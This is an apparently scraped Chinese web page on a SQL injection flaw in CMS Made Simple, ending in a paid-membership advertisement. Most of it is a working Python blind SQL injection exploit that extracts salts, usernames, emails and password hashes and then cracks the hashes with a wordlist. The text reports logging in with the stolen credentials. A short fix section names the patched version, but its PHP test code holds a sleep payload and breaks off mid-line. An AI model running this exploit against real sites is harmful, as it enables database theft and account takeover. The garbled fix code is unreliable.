防止sql注入的方法有哪些 SQL注入漏洞分析

flag = True password = "" sleep_time = 1 username = "" result = "" email = "" salt = "" def get_salt(): global flag global salt global result salt = "" ord_salt = "" ord_salt_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_salt = salt + dictionary[i] ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:] payload = "0,1,2))+and+(select+sleep(" + str(sleep_time) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+" url = url_vuln + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= sleep_time: flag = True break if flag: salt = temp_salt ord_salt = ord_salt_temp flag = True result += 'n[+] Salt for password found: ' + salt def get_username(userid): global flag global username global result username = "" ord_username = "" ord_username_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_username = username + dictionary[i] ord_username_temp = ord_username + hex(ord(dictionary[i]))[2:] payload = "0,1,2))+and+(select+sleep(" + str(sleep_time) + ")+from+cms_users+where+username+like+0x" + ord_username_temp + "25+and+user_id%3d{id})+--+".format(id=userid) url = url_vuln + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= sleep_time: flag = True break if flag: username = temp_username ord_username = ord_username_temp result += 'n[+] Username found: ' + username flag = True if username: return True else: return False def get_email(userid): global flag global email global result email = "" ord_email = "" ord_email_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_email = email + dictionary[i] ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:] payload = "0,1,2))+and+(select+sleep(" + str(sleep_time) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id%3d{id})+--+".format(id=userid) url = url_vuln + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= sleep_time: flag = True break if flag: email = temp_email ord_email = ord_email_temp result += 'n[+] Email found: ' + email flag = True def get_password(userid): global flag global password global result password = "" ord_password = "" ord_password_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_password = password + dictionary[i] ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] payload = "0,1,2))+and+(select+sleep(" + str(sleep_time) + ")+from+cms_users" payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id%3d{id})+--+".format(id=userid) url = url_vuln + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= sleep_time: flag = True break if flag: password = temp_password ord_password = ord_password_temp flag = True result += 'n[+] Password found: ' + password def crack_password(): global password global result global salt dict = open("C:/Users/Nero/Desktop/pass1000.txt") for line in dict.readlines(): line = line.replace("n", "") if hashlib.md5(str(salt) + line).hexdigest() == password: result += "n[+] Password cracked: " + line break dict.close() def beautify_print(): global result cprint(result,'green', attrs=['bold']) def main(): global result for i in range(1, 10): get_salt() user_exist = get_username(i) if user_exist: get_email(i) get_password(i) crack_password() beautify_print() result = "" else: break main()

2. 通过命令main()来调用main函数，运行该SQL盲注漏洞利用程序，结果如下：

可以看到获取到了全部用户的salt值、用户名、Email以及密码密文和明文，与MySQL数据库中记录的内容完全一致，数据库信息详见下图：

3. 使用获取到的用户名和密码可以成功登录cmsms。

漏洞修复

针对该版本号的SQL注入漏洞，建议及时将CMS Made Simple更新到 2.2.10版本。在2.2.10版本中防止sql注入的方法有哪些，对问题代码进行了修复，修复后的代码如下：

修复后的代码与之前的问题代码相比较，主要有三处改动：一、在将变量idlist的值分解为数组赋值给变量tmp之后，idlist被置为空；二、新增变量val，用于将强制类型转换后的数据传递给idlist；改变if语句判断条件和操作，防止发生count($tmp)-1和重复字符的操作。

通过下面的这段测试代码，可以很直观的看到效果：

<?php
$idlist = "0,1,2))and(case+when+(select+sleep(10)+from+cms_users+limit+1)+then+1+else+2+end)+--+ ";
if( is_string($idlist) ) {
 $tmp = explode(',', $idlist);
 $idlist = [];
 for ($i = 0; $i  0 && !in_array($val, $idlist))

———END———
限 时 特 惠：本站每日持续更新海量各大内部创业教程，一年会员只需128元，全站资源免费下载点击查看详情
站 长 微 信：jiumai99